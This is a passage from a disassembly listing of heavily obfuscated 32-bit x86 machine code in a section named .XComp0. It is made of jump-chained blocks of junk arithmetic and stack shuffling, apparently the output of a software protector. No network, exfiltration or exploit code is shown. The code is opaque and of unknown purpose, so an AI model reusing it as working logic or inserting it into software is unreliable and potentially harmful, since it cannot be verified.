; --------------------------------------------------------------------------- loc_57C8F5: ; CODE XREF: .XComp0:005798A3j mov edi, [esp] push ecx mov ecx, esp jmp loc_57609D ; --------------------------------------------------------------------------- loc_57C900: ; CODE XREF: .XComp0:0057F991j pop ebx xor ecx, ebp jmp loc_578042 ; --------------------------------------------------------------------------- loc_57C908: ; CODE XREF: .XComp0:00580FD3j push edx jmp loc_582CAB ; --------------------------------------------------------------------------- loc_57C90E: ; CODE XREF: .XComp0:005814D8j mov ecx, 464060FCh shl ecx, 6 jmp loc_58145B ; --------------------------------------------------------------------------- loc_57C91B: ; CODE XREF: .XComp0:0057DF80j add ebp, 4 push ecx mov ecx, 24782A94h jmp loc_57E327 ; --------------------------------------------------------------------------- loc_57C92C: ; CODE XREF: .XComp0:005741FDj pop eax dec edi dec edi not edi push ebx mov ebx, 694132F5h or ebx, 2DDA6DA4h neg ebx add ebx, 316F175Eh shl ebx, 2 sub ebx, 0D7E1FD63h xor edi, ebx pop ebx sub edi, 63FB2145h add edi, 0A0913EF5h add esi, edi mov edi, [esp] jmp loc_57EC71 ; --------------------------------------------------------------------------- loc_57C967: ; CODE XREF: .XComp0:005739D2j pop bx sub esp, 4 mov [esp], ebp push si mov si, 276Dh mov bp, si pop si or bp, 24DBh or bp, 345h or bp, 6F88h and bp, 6944h neg bp push si mov si, 3545h jmp loc_57ED61 ; --------------------------------------------------------------------------- loc_57C99F: ; CODE XREF: .XComp0:0057F83Fj mov eax, [esp] add esp, 4 mov edx, [esp] add esp, 4 jmp loc_573541 ; --------------------------------------------------------------------------- loc_57C9B6: ; CODE XREF: .XComp0:0057EC44j push dword ptr [esp+4] mov ebp, [esp] add esp, 4 pop dword ptr [esp] pop esp push dword ptr [esp] jmp loc_579E36 ; --------------------------------------------------------------------------- loc_57C9CC: ; CODE XREF: .XComp0:00580E04j mov ebp, edx jmp loc_57BEC7 ; --------------------------------------------------------------------------- loc_57C9D3: ; CODE XREF: .XComp0:0057E322j sub eax, 5F284F87h add eax, edi push ecx push 52DE1965h pop ecx inc ecx add ecx, 68884E47h shr ecx, 1 neg ecx shr ecx, 6 sub ecx, 0A360E3A9h add eax, ecx pop ecx push dword ptr [esp] pop edi add esp, 4 push 7C53h mov [esp], edi mov edi, 4C9A2049h add ebx, 17F41982h jmp loc_57CD82 ; --------------------------------------------------------------------------- mov cx, [esp] push ecx push 4948h mov [esp], esp push 0D30h mov [esp], ecx mov ecx, 4 add [esp+4], ecx pop ecx pop ecx jmp loc_57C45C ; --------------------------------------------------------------------------- loc_57CA3F: ; CODE XREF: .XComp0:005736BBj not eax jmp loc_5834AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_57CA46: ; CODE XREF: sub_5A47B5-2250Dj mov ebx, esp add ebx, 4 jmp loc_576738 ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_57CA53: ; CODE XREF: .XComp0:0057A0BEj mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] jmp loc_580D6E ; --------------------------------------------------------------------------- loc_57CA66: ; CODE XREF: .XComp0:0057BA30j push edi mov edi, 0C28882E8h jmp loc_57D3F8 ; --------------------------------------------------------------------------- loc_57CA71: ; CODE XREF: .XComp0:00574D94j add ecx, 0D1A92860h mov edx, ecx jmp loc_579EDF ; --------------------------------------------------------------------------- loc_57CA7E: ; CODE XREF: .XComp0:00575474j mov ebp, esi mov esi, [esp] add esp, 4 add ecx, ebp pop ebp add ecx, 2 jmp loc_582B36 ; --------------------------------------------------------------------------- loc_57CA94: ; CODE XREF: .XComp0:0057D571j neg bl jmp loc_577B84 ; --------------------------------------------------------------------------- loc_57CA9B: ; CODE XREF: .XComp0:0057CCECj sub ebp, 0B69E8D3Bh add esi, ebp pop ebp xor esi, [esp] xor [esp], esi jmp loc_5820E4 ; --------------------------------------------------------------------------- loc_57CAAF: ; CODE XREF: .XComp0:00575260j sub eax, edi pop edi pop esi add eax, 4 xchg eax, [esp] pop esp movsx ecx, al sub esp, 4 mov [esp], edi push 30C4h push esp jmp loc_58164B ; --------------------------------------------------------------------------- loc_57CACE: ; CODE XREF: .XComp0:0057FB52j mov esi, [esp] add esp, 4 add edx, ecx mov ecx, [esp] add esp, 4 jmp loc_575ADC ; --------------------------------------------------------------------------- loc_57CAE4: ; CODE XREF: .XComp0:00580D72j push edx jmp loc_57799A ; --------------------------------------------------------------------------- loc_57CAEA: ; CODE XREF: .XComp0:0057D692j xor edi, 61D7522Fh push ebx mov ebx, 7118C123h xor edi, ebx pop ebx mov ebx, edi jmp loc_5835CC ; --------------------------------------------------------------------------- loc_57CB00: ; CODE XREF: .XComp0:00577683j add ecx, 4 push 1384h jmp loc_57F143 ; --------------------------------------------------------------------------- loc_57CB10: ; CODE XREF: .XComp0:005766C3j pop ecx pop edx mov ebx, esi pop esi and eax, ebx mov ebx, [esp] add esp, 4 sub eax, 1 push ebp mov ebp, 6996FD0h not ebp push ecx jmp loc_581146 ; --------------------------------------------------------------------------- loc_57CB2E: ; CODE XREF: .XComp0:00580FBFj mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_57C88D ; --------------------------------------------------------------------------- loc_57CB42: ; CODE XREF: .XComp0:005765D7j mov ebp, esp add ebp, 4 jmp loc_57F705 ; --------------------------------------------------------------------------- loc_57CB4F: ; CODE XREF: .XComp0:00581125j sub edx, 0A23515h pop eax xchg edx, [esp] pop esp mov [esp], edi mov edi, 4 add eax, edi push dword ptr [esp] push dword ptr [esp] jmp loc_576588 ; --------------------------------------------------------------------------- loc_57CB6F: ; CODE XREF: .XComp0:0057EE2Dj mov edx, [esp] add esp, 4 mov ebx, [esp] add esp, 4 push 71B8h mov [esp], ebp push esp pop ebp push edx mov edx, 12DC61F7h sub edx, 7DC6229Fh not edx sub edx, 22921463h shl edx, 5 neg edx sub edx, 0F50A777Ch jmp loc_57B2F4 ; --------------------------------------------------------------------------- loc_57CBA9: ; CODE XREF: .XComp0:00579D43j push 0B0Ah mov [esp], esi push ebx push edx push 5D1E79DEh jmp loc_57B09A ; --------------------------------------------------------------------------- loc_57CBBD: ; CODE XREF: .XComp0:00580775j dec dh push bx mov bl, 0Dh xor dh, bl jmp loc_580217 ; --------------------------------------------------------------------------- loc_57CBCA: ; CODE XREF: .XComp0:0057BA49j mov [esp], eax push ecx mov ecx, 3E0B060Dh jmp loc_57B955 ; --------------------------------------------------------------------------- loc_57CBD8: ; CODE XREF: .XComp0:0057364Bj push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp pop ax jmp loc_5759CB ; --------------------------------------------------------------------------- loc_57CBEF: ; CODE XREF: .XComp0:005835CEj mov ecx, 55502F86h sub ecx, 530905F1h sub ecx, 1EDD40D0h xor ecx, 0E40DFC04h sub edx, ecx jmp loc_58073A ; --------------------------------------------------------------------------- loc_57CC0D: ; CODE XREF: .XComp0:00574978j xchg edi, ebx not edi jmp loc_57F919 ; --------------------------------------------------------------------------- loc_57CC16: ; CODE XREF: .XComp0:0057DD31j mov [esp], esi jmp loc_580FA1 ; --------------------------------------------------------------------------- loc_57CC1E: ; CODE XREF: .XComp0:005801FDj add ecx, 443F2CCFh add ecx, 132D0C0Dh or ecx, 58C67ABFh shr ecx, 6 shl ecx, 4 sub esp, 4 mov [esp], ebp jmp loc_57988E ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], ebx mov ebx, esp jmp loc_5805A1 ; --------------------------------------------------------------------------- loc_57CC55: ; CODE XREF: .XComp0:00582EA3j pop esp jmp loc_583543 ; --------------------------------------------------------------------------- loc_57CC5B: ; CODE XREF: .XComp0:0057461Aj mov eax, ecx pop ecx and [edi+1Ch], eax push dword ptr [esp] pop eax jmp loc_57EF9B ; --------------------------------------------------------------------------- loc_57CC6A: ; CODE XREF: .XComp0:0057936Dj pop ebx add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], edx mov edx, eax push 1F4Fh mov [esp], edx pop dword ptr [edi+40h] push dword ptr [esp] mov edx, [esp] add esp, 4 push edi jmp loc_5744C5 ; --------------------------------------------------------------------------- loc_57CC9F: ; CODE XREF: .XComp0:00581EF1j pop dword ptr [esp] jmp loc_58058F ; --------------------------------------------------------------------------- loc_57CCA7: ; CODE XREF: .XComp0:00582E30j not eax add eax, 62241FD1h add esi, 7AAA074Fh sub esi, eax jmp loc_5825FF ; --------------------------------------------------------------------------- loc_57CCBB: ; CODE XREF: .XComp0:00575CD8j xor ebp, 128B18D3h push esi mov esi, 5185B19h or esi, 6871FF6h jmp loc_57C136 ; --------------------------------------------------------------------------- loc_57CCD2: ; CODE XREF: .XComp0:0057E349j pop edi xchg esi, [esp] pop esp add esi, 4 push ebp mov ebp, 5ADA7A37h neg ebp inc ebp inc ebp shl ebp, 6 not ebp jmp loc_57CA9B ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_57503F ; --------------------------------------------------------------------------- loc_57CCF9: ; CODE XREF: .XComp0:0057F5CDj pop dword ptr [esp] pop esp pop dword ptr [esp] pop esp mov [esp], ebp mov ebp, 7F306ADFh sub eax, ebp mov ebp, [esp] push ebp jmp loc_576CD5 ; --------------------------------------------------------------------------- loc_57CD14: ; CODE XREF: .XComp0:00581ACAj mov esi, esp jmp loc_5834E1 ; --------------------------------------------------------------------------- loc_57CD1B: ; CODE XREF: .XComp0:005789BFj sub esp, 4 mov [esp], eax jmp loc_57E3D1 ; --------------------------------------------------------------------------- loc_57CD26: ; CODE XREF: .XComp0:0058339Cj mov al, ch push dword ptr [esp] pop ecx add esp, 4 push ebx push ecx mov ch, al mov bl, ch pop ecx push eax mov al, bl push ebx jmp loc_579801 ; --------------------------------------------------------------------------- loc_57CD42: ; CODE XREF: .XComp0:0057A4EDj sub ebx, ecx mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_57B78E ; --------------------------------------------------------------------------- loc_57CD55: ; CODE XREF: .XComp0:00577D94j pop esp mov [esp], eax sub esp, 4 mov [esp], ebp push dword ptr [esp+4] jmp loc_575DEC ; --------------------------------------------------------------------------- loc_57CD68: ; CODE XREF: .XComp0:0057753Cj mov [esp], ecx jmp loc_57BB7E ; --------------------------------------------------------------------------- loc_57CD70: ; CODE XREF: .XComp0:00576139j xor ecx, 170144FBh xor ecx, 24586DA9h dec ecx jmp loc_57BD31 ; --------------------------------------------------------------------------- loc_57CD82: ; CODE XREF: .XComp0:0057CA15j sub ebx, edi sub ebx, 17F41982h pop edi add ebx, 0A831E7h sub ebx, 782C6323h add ebx, eax add ebx, 782C6323h sub ebx, 0A831E7h push ebp mov ebp, 670D3575h sub esp, 4 jmp loc_57D868 ; --------------------------------------------------------------------------- loc_57CDB3: ; CODE XREF: .XComp0:00578599j add esp, 4 xor cl, bh xor bh, cl jmp loc_5794A1 ; --------------------------------------------------------------------------- loc_57CDBF: ; CODE XREF: .XComp0:00580853j add esp, 4 push edx mov edx, 25316741h add edx, 7E1C0B0Dh dec edx sub edx, 9A1B701Dh shl edx, 1 dec edx jmp loc_57619A ; --------------------------------------------------------------------------- loc_57CDE0: ; CODE XREF: .XComp0:0057F8E7j pop ecx add eax, 247A03EBh add eax, ebx sub eax, 247A03EBh pop ebx add eax, 4 xchg eax, [esp] pop esp mov eax, [esp] push edi mov edi, esp jmp loc_582D6E ; --------------------------------------------------------------------------- loc_57CE02: ; CODE XREF: .XComp0:0057C269j mov edi, 49C73A9Ch jmp loc_57D7E5 ; --------------------------------------------------------------------------- loc_57CE0C: ; CODE XREF: .XComp0:00581EDDj xor edx, 0EF081F50h sub ecx, edx pop edx pop edx xor ecx, [esp] xor [esp], ecx jmp loc_580709 ; --------------------------------------------------------------------------- loc_57CE21: ; CODE XREF: .XComp0:00581260j pop eax push 12BDh mov [esp], edx push edi mov edi, 44140F38h add edi, 0BBEBF0CAh mov edx, edi pop edi add edi, edx pop edx xchg edi, [esp] mov esp, [esp] shl word ptr [esp], cl pushf jmp loc_573541 ; --------------------------------------------------------------------------- loc_57CE4C: ; CODE XREF: .XComp0:00574088j push edx push esi mov esi, 7A8A473Ah jmp loc_582F19 ; --------------------------------------------------------------------------- loc_57CE58: ; CODE XREF: .XComp0:0057FB40j shl ecx, 3 jmp loc_581514 ; --------------------------------------------------------------------------- loc_57CE60: ; CODE XREF: .XComp0:005833F6j pop esi mov ebx, edi pop edi jmp loc_573541 ; --------------------------------------------------------------------------- loc_57CE69: ; CODE XREF: .XComp0:00581DFFj pop edi push esi jmp loc_5789BA ; --------------------------------------------------------------------------- loc_57CE70: ; CODE XREF: .XComp0:00581830j sub esp, 4 jmp loc_583105 ; --------------------------------------------------------------------------- loc_57CE7B: ; CODE XREF: .XComp0:00581141j sub ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov [esp], ecx push esp pop ecx push edx jmp loc_57E103 ; --------------------------------------------------------------------------- loc_57CE95: ; CODE XREF: .XComp0:005771BFj push eax push ebp push 3FF9272Fh mov ebp, [esp] add esp, 4 xor ebp, 0C34083E2h mov eax, ebp pop ebp add esi, 43AC32A2h jmp loc_58206B ; --------------------------------------------------------------------------- loc_57CEB9: ; CODE XREF: .XComp0:005827D4j xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_57EE8D ; --------------------------------------------------------------------------- loc_57CEC7: ; CODE XREF: .XComp0:0057AAFAj push eax mov eax, 22FB54A6h xor ebx, eax pop eax sub edx, 5009284Eh add edx, ebx push ebx jmp loc_5773FE ; --------------------------------------------------------------------------- loc_57CEDE: ; CODE XREF: .XComp0:00578E5Fj sub ebp, 7FED2371h jmp loc_582DF2 ; --------------------------------------------------------------------------- loc_57CEE9: ; CODE XREF: .XComp0:0057B60Fj mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push esi jmp loc_5816FE ; --------------------------------------------------------------------------- loc_57CEFE: ; CODE XREF: .XComp0:0057A31Cj mov esi, esp jmp loc_5836EB ; --------------------------------------------------------------------------- loc_57CF05: ; CODE XREF: .XComp0:00582606j add eax, 65FF3D4Ch add eax, esi jmp loc_5810C6 ; --------------------------------------------------------------------------- loc_57CF11: ; CODE XREF: .XComp0:0057EF70j push 0A2AFEAh pop ebx jmp loc_57DE48 ; --------------------------------------------------------------------------- loc_57CF1C: ; CODE XREF: .XComp0:00574B82j mov [esp], eax jmp loc_573541 ; --------------------------------------------------------------------------- loc_57CF24: ; CODE XREF: .XComp0:0057C6F0j add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_57EA6D ; --------------------------------------------------------------------------- loc_57CF39: ; CODE XREF: .XComp0:005788CEj pop eax add eax, 4 sub esp, 4 mov [esp], edi mov edi, 1EDE65E5h jmp loc_57B463 ; --------------------------------------------------------------------------- loc_57CF52: ; CODE XREF: .XComp0:0057EEA3j mov esi, [esp] push ebp mov ebp, esp push eax mov eax, 4 add ebp, eax pop eax jmp loc_57BA35 ; --------------------------------------------------------------------------- loc_57CF66: ; CODE XREF: .XComp0:00577E40j or ecx, 2D384C5Eh add ecx, 0D04202A3h sub edx, 7470C04h add edx, 2B840418h add edx, ecx sub edx, 2B840418h jmp loc_5835D3 ; --------------------------------------------------------------------------- loc_57CF8B: ; CODE XREF: .XComp0:00577743j sub [edx+30h], ecx pop ecx push dword ptr [esp] pop esi sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 push ebp mov ebp, 5EF16337h jmp loc_577A4E ; --------------------------------------------------------------------------- loc_57CFAF: ; CODE XREF: .XComp0:005796D7j or al, 97h sub al, 2Bh xor al, 0D4h inc al jmp loc_57F0DD ; --------------------------------------------------------------------------- push dword ptr [edi+40h] jmp loc_573541 ; --------------------------------------------------------------------------- loc_57CFC4: ; CODE XREF: .XComp0:0058027Dj pop eax or ecx, ecx jz loc_57DB47 push 7A0Eh jmp loc_57AE77 ; --------------------------------------------------------------------------- loc_57CFD7: ; CODE XREF: .XComp0:0057623Dj mov ecx, 5D364DA9h jmp loc_574883 ; --------------------------------------------------------------------------- loc_57CFE1: ; CODE XREF: .XComp0:005759BBj mov ebp, edi jmp loc_576E9B ; --------------------------------------------------------------------------- loc_57CFE8: ; CODE XREF: .XComp0:00575B40j sub ecx, 16AF1B44h shl ecx, 7 or ecx, 4F175A2Ah and ecx, 7C111634h xchg esi, ecx jmp loc_577D1D ; --------------------------------------------------------------------------- loc_57D004: ; CODE XREF: .XComp0:00578247j add edi, 4 push esi push 4 mov esi, [esp] jmp loc_57DDA1 ; --------------------------------------------------------------------------- push 560Eh jmp loc_581AC2 ; --------------------------------------------------------------------------- loc_57D022: ; CODE XREF: .XComp0:0058286Fj add esi, edx pop edx shr esi, 7 jmp loc_57A4AB ; --------------------------------------------------------------------------- loc_57D02D: ; CODE XREF: .XComp0:005793E8j mov [esp], esi mov esi, 4 sub eax, 6A0C6EDBh jmp loc_57A1BB ; --------------------------------------------------------------------------- loc_57D03F: ; CODE XREF: .XComp0:005832AAj add ebx, esi pop esi sub ebx, 4 push 6CC7h mov [esp], ebx push dword ptr [esp+4] push dword ptr [esp] mov ebx, [esp] jmp loc_57E98C ; --------------------------------------------------------------------------- loc_57D05F: ; CODE XREF: .XComp0:0057C219j mov [esp], edi jmp loc_5770AE ; --------------------------------------------------------------------------- loc_57D067: ; CODE XREF: .XComp0:005833A7j push ecx push 4 jmp loc_582169 ; --------------------------------------------------------------------------- loc_57D072: ; CODE XREF: .XComp0:0057F5AAj xchg edi, [esp] pop esp bt [esp], eax pushf jmp loc_573541 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop eax adc [esp], eax pushf jmp loc_57E248 ; --------------------------------------------------------------------------- loc_57D08E: ; CODE XREF: .XComp0:005738DDj add esp, 4 push eax mov eax, esp add eax, 4 push ebp push edi mov edi, 4 mov ebp, edi pop edi add eax, ebp pop ebp xor eax, [esp] xor [esp], eax jmp loc_57A3F0 ; --------------------------------------------------------------------------- loc_57D0B4: ; CODE XREF: .XComp0:0057569Bj add esp, 4 push edx mov dl, 6 jmp loc_57678E ; --------------------------------------------------------------------------- loc_57D0C2: ; CODE XREF: .XComp0:0058217Fj pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp add dword ptr [esp+4], 0B741396h sub [esp+4], esi jmp loc_577499 ; --------------------------------------------------------------------------- loc_57D0E0: ; CODE XREF: .XComp0:00574D0Cj sub eax, edi push esi push 31F83964h pop esi sub eax, esi pop esi pop edi push 2072h mov [esp], edi mov edi, 1D6F79FAh push edi dec dword ptr [esp] mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_580480 ; --------------------------------------------------------------------------- loc_57D111: ; CODE XREF: .XComp0:0057A087j push edi push 52DB57FFh pop edi and edi, 15073C42h inc edi shr edi, 2 xchg ebx, edi neg ebx xchg ebx, edi add edi, 6FF7CB58h shl edi, 6 push esi mov esi, 280E5909h jmp loc_575DD0 ; --------------------------------------------------------------------------- loc_57D13C: ; CODE XREF: .XComp0:0057EC0Ej xor bl, 63h push ecx mov cl, bl mov ah, cl pop ecx jmp loc_5779F0 ; --------------------------------------------------------------------------- loc_57D14A: ; CODE XREF: .XComp0:00574F80j push dword ptr [esp] pop edx push 2396h jmp loc_581219 ; --------------------------------------------------------------------------- loc_57D158: ; CODE XREF: .XComp0:0057E2B7j push ecx jmp loc_57680B ; --------------------------------------------------------------------------- loc_57D15E: ; CODE XREF: .XComp0:00575CA4j add esp, 4 push 722h mov [esp], edi mov edi, esp push ecx mov ecx, 1C746928h sub ecx, 1C746924h jmp loc_577FF3 ; --------------------------------------------------------------------------- loc_57D17F: ; CODE XREF: .XComp0:0057E6A9j dec ecx dec ecx not ecx not ecx jmp loc_5746B4 ; --------------------------------------------------------------------------- loc_57D18A: ; CODE XREF: .XComp0:0057BEADj sub esp, 4 mov [esp], edx jmp loc_57D848 ; --------------------------------------------------------------------------- loc_57D195: ; CODE XREF: .XComp0:0057C559j add ebx, 23641953h add edx, ebx pop ebx sub edx, 49B25169h add edx, ebx add edx, 49B25169h sub edx, 47456A6Ch push dword ptr [esp] jmp loc_582145 ; --------------------------------------------------------------------------- loc_57D1BA: ; CODE XREF: .XComp0:0057D6FDj mov eax, 580778B1h and eax, 561D3E09h shr eax, 6 jmp loc_575A6F ; --------------------------------------------------------------------------- loc_57D1CC: ; CODE XREF: .XComp0:00577085j push edx mov edx, 0FFFFFFFFh add edi, edx pop edx neg edi push 6B69h mov [esp], edx mov edx, 0DBDEC2AAh jmp loc_574CFB ; --------------------------------------------------------------------------- loc_57D1E9: ; CODE XREF: .XComp0:00575837j push 0 sub dword ptr [esp], 37C306B5h sub [esp], ebx add dword ptr [esp], 37C306B5h pop ebx shl ebx, 3 shr ebx, 1 shl ebx, 6 xor ebx, 0FCDBD804h sub eax, 2B0818E2h add eax, ebx add eax, 2B0818E2h pop ebx sub esp, 4 mov [esp], ecx mov ecx, 3BCD3A51h neg ecx and ecx, 18096960h jmp loc_580BD9 ; --------------------------------------------------------------------------- loc_57D236: ; CODE XREF: .XComp0:0057611Fj add eax, 712B7228h add eax, edi jmp loc_57A564 ; --------------------------------------------------------------------------- loc_57D242: ; CODE XREF: .XComp0:00582258j push esp jmp loc_57D63A ; --------------------------------------------------------------------------- loc_57D248: ; CODE XREF: .XComp0:005806A2j mov esi, [esp] jmp loc_57FED2 ; --------------------------------------------------------------------------- loc_57D250: ; CODE XREF: .XComp0:0057590Aj push 7B16h mov [esp], ecx push esp jmp loc_57477C ; --------------------------------------------------------------------------- loc_57D25E: ; CODE XREF: .XComp0:0057969Ej pop ebp pop dword ptr [esp] mov eax, [esp] push 435Ah jmp loc_576478 ; --------------------------------------------------------------------------- loc_57D26F: ; CODE XREF: .XComp0:00579D1Cj mov eax, [esp] jmp loc_576E77 ; --------------------------------------------------------------------------- loc_57D277: ; CODE XREF: .XComp0:005750C6j mov [esp], edi mov edi, esp add edi, 4 push ecx mov ecx, 6ED8644Fh or ecx, 6785414Fh jmp loc_5807CB ; --------------------------------------------------------------------------- loc_57D293: ; CODE XREF: .XComp0:005820B4j add ecx, 22915D9Fh jmp loc_57ECF1 ; --------------------------------------------------------------------------- loc_57D29E: ; CODE XREF: .XComp0:00578171j push edx not dword ptr [esp] pop edx xchg ecx, edx dec ecx jmp loc_58007D ; --------------------------------------------------------------------------- loc_57D2AB: ; CODE XREF: .XComp0:00582937j shr edi, 7 not edi push edx mov edx, 9A5401Bh or edi, edx pop edx sub esp, 4 mov [esp], eax mov eax, 72D15576h jmp loc_57C5A4 ; --------------------------------------------------------------------------- loc_57D2C9: ; CODE XREF: .XComp0:0057F5E4j pop eax shl edi, 4 or edi, 4B71567Ch shl edi, 1 sub edi, 0BEF7EEF4h add ebx, edi pop edi jmp loc_5779C2 ; --------------------------------------------------------------------------- loc_57D2E3: ; CODE XREF: .XComp0:00576AE5j pop ebp pop eax pop ecx xor edx, edx sub esp, 4 mov [esp], edi jmp loc_57A53C ; --------------------------------------------------------------------------- loc_57D2F3: ; CODE XREF: .XComp0:0058244Dj mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax mov eax, esp add eax, 4 push ebx push 5FE8h mov [esp], ecx mov ecx, 49C57608h sub ecx, 5AB5101Fh sub ecx, 4721623Fh add ecx, 75F20494h push esi push ebp jmp loc_57BD6C ; --------------------------------------------------------------------------- loc_57D333: ; CODE XREF: .XComp0:00577969j pop dword ptr [esp] pop esp push 3F41h mov [esp], esi sub esp, 4 mov [esp], edi push 359351D7h pop edi not edi xchg esi, edi not esi push edi push esi jmp loc_5764E8 ; --------------------------------------------------------------------------- loc_57D35B: ; CODE XREF: .XComp0:00581CBAj sub eax, ecx pop ecx xchg eax, [esp] pop esp jmp loc_579B84 ; --------------------------------------------------------------------------- loc_57D367: ; CODE XREF: .XComp0:0057FC35j add ebx, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 push ebx jmp loc_57FA9F ; --------------------------------------------------------------------------- loc_57D37E: ; CODE XREF: .XComp0:0057C2F0j add [esp+4], ebx pop ebx pop ecx push ebp mov ebp, 3C7A7684h inc ebp xor ebp, 792D2046h xor ebp, 455756C7h add ecx, ebp pop ebp add ecx, 2 xchg ecx, [esp] mov esp, [esp] push ebx mov bx, 249Dh or bx, 1FE3h jmp loc_5803A4 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_5783A9 ; --------------------------------------------------------------------------- loc_57D3BA: ; CODE XREF: .XComp0:00574FCCj xchg eax, [esp] pop esp jmp loc_57E53E ; --------------------------------------------------------------------------- loc_57D3C3: ; CODE XREF: .XComp0:00580BBEj mov [esp], ebx push ebx jmp loc_57945D ; --------------------------------------------------------------------------- loc_57D3CC: ; CODE XREF: .XComp0:005815EEj pop esi jmp loc_57A321 ; --------------------------------------------------------------------------- loc_57D3D2: ; CODE XREF: .XComp0:00576314j add ecx, 0FFFFFFFFh push 54A2h mov [esp], esi mov esi, 4D7F206Ah xor ecx, esi pop esi add ecx, 45822DE0h push 2336h mov [esp], edx jmp loc_576B21 ; --------------------------------------------------------------------------- loc_57D3F8: ; CODE XREF: .XComp0:0057CA6Cj push eax jmp loc_577A24 ; --------------------------------------------------------------------------- loc_57D3FE: ; CODE XREF: .XComp0:0057E10Ej shl edx, 2 dec edx or edx, 392E1A0Fh sub edx, 0FB7F9ABBh sub ecx, 193A76DCh jmp loc_57ED2C ; --------------------------------------------------------------------------- loc_57D419: ; CODE XREF: .XComp0:0057F362j mov ebx, 2AF2E6Bh jmp loc_57674A ; --------------------------------------------------------------------------- loc_57D423: ; CODE XREF: .XComp0:005795E1j mov edi, [esp] add esp, 4 xor edx, eax mov eax, [esp] add esp, 4 loc_57D434: ; CODE XREF: .XComp0:0057740Fj ; .XComp0:0058102Ej push ebx push dword ptr [esp] mov eax, [esp] add esp, 4 sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 sub esp, 4 mov [esp], ebp mov ebp, 4 add edx, ebp push dword ptr [esp] pop ebp push esi jmp loc_5800AD ; --------------------------------------------------------------------------- loc_57D463: ; CODE XREF: .XComp0:0057FDC1j or edx, 195E1C11h jmp loc_57DC32 ; --------------------------------------------------------------------------- loc_57D46E: ; CODE XREF: .XComp0:0057A687j mov [esp], edi inc dword ptr [esp] pop edi push esi jmp loc_57B9E3 ; --------------------------------------------------------------------------- loc_57D47B: ; CODE XREF: .XComp0:005805CEj or edi, 3228476Ch sub edi, 5F3B58D3h push ecx jmp loc_58298D ; --------------------------------------------------------------------------- loc_57D48D: ; CODE XREF: .XComp0:0057AB02j push ecx mov cl, 0F2h jmp loc_5825C1 ; --------------------------------------------------------------------------- loc_57D495: ; CODE XREF: .XComp0:0057950Cj push 4 push dword ptr [esp] pop ebx add esp, 4 add edi, 0F00488Ch sub edi, 9223A5Fh add edi, ebx add edi, 9223A5Fh jmp loc_5796ED ; --------------------------------------------------------------------------- loc_57D4BD: ; CODE XREF: .XComp0:00577C5Cj mov bl, 2Ah jmp loc_581D0B ; --------------------------------------------------------------------------- loc_57D4C4: ; CODE XREF: .XComp0:005741B9j pop edx push 544Dh mov [esp], esi mov esi, 46CD4E54h jmp loc_579FFC ; --------------------------------------------------------------------------- lodsd xor eax, ebx jmp loc_573F81 ; --------------------------------------------------------------------------- loc_57D4DF: ; CODE XREF: .XComp0:0057DCB1j push edx jmp loc_574ACE ; --------------------------------------------------------------------------- loc_57D4E5: ; CODE XREF: .XComp0:0057A67Cj mov ebp, 4234F12h sub ebp, 1 and ebp, 215F1F84h sub ebp, 539A32A8h push 4944h mov [esp], ebx mov ebx, 49557B3Fh xor ebx, 1FAD686Ah shl ebx, 2 jmp loc_575D21 ; --------------------------------------------------------------------------- loc_57D517: ; CODE XREF: .XComp0:00574C44j mov ebp, 18740D9h and ebp, 2E63069Dh add ebp, 383D3436h neg ebp jmp loc_57F479 ; --------------------------------------------------------------------------- loc_57D52F: ; CODE XREF: .XComp0:00583493j mov edx, 54E0463Eh xor edx, 6FAB0141h shr edx, 1 jmp loc_5828E2 ; --------------------------------------------------------------------------- loc_57D541: ; CODE XREF: .XComp0:00581065j add [esp], eax pushf jmp loc_57EDC4 ; --------------------------------------------------------------------------- loc_57D54A: ; CODE XREF: .XComp0:0057974Fj mov eax, ebx mov ebx, [esp] add esp, 4 add eax, 0C284A1D7h add ecx, eax pop eax push ebx jmp loc_57EF3A ; --------------------------------------------------------------------------- loc_57D560: ; CODE XREF: .XComp0:00573BD7j sub ebp, 66102FC9h push dword ptr [esp] pop ecx jmp loc_57F648 ; --------------------------------------------------------------------------- loc_57D56F: ; CODE XREF: .XComp0:00582066j mov bl, 51h jmp loc_57CA94 ; --------------------------------------------------------------------------- loc_57D576: ; CODE XREF: .XComp0:0057EB87j shl esi, 8 or esi, 58806F8Ah add esi, 0ACA90264h dec esi and esi, 0BE10D29h jmp loc_57421C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A47B5 loc_57D591: ; CODE XREF: sub_5A47B5-299CAj add cl, 0B0h jmp loc_57FAF4 ; END OF FUNCTION CHUNK FOR sub_5A47B5 ; --------------------------------------------------------------------------- loc_57D599: ; CODE XREF: .XComp0:00578179j pop ebx push ebx sub dword ptr [esp], 6D7964D2h mov edi, [esp] add esp, 4 add edi, 6D7964D2h mov ebx, [esp] push ecx jmp loc_57AD3B ; --------------------------------------------------------------------------- loc_57D5B7: ; CODE XREF: .XComp0:0057A246j add ebp, 4 jmp loc_5754FD ; --------------------------------------------------------------------------- loc_57D5C2: ; CODE XREF: .XComp0:00579E97j add bh, 81h pop edx push ecx push eax mov ah, bh mov cl, ah pop eax jmp loc_577880 ; --------------------------------------------------------------------------- loc_57D5D2: ; CODE XREF: .XComp0:00573815j 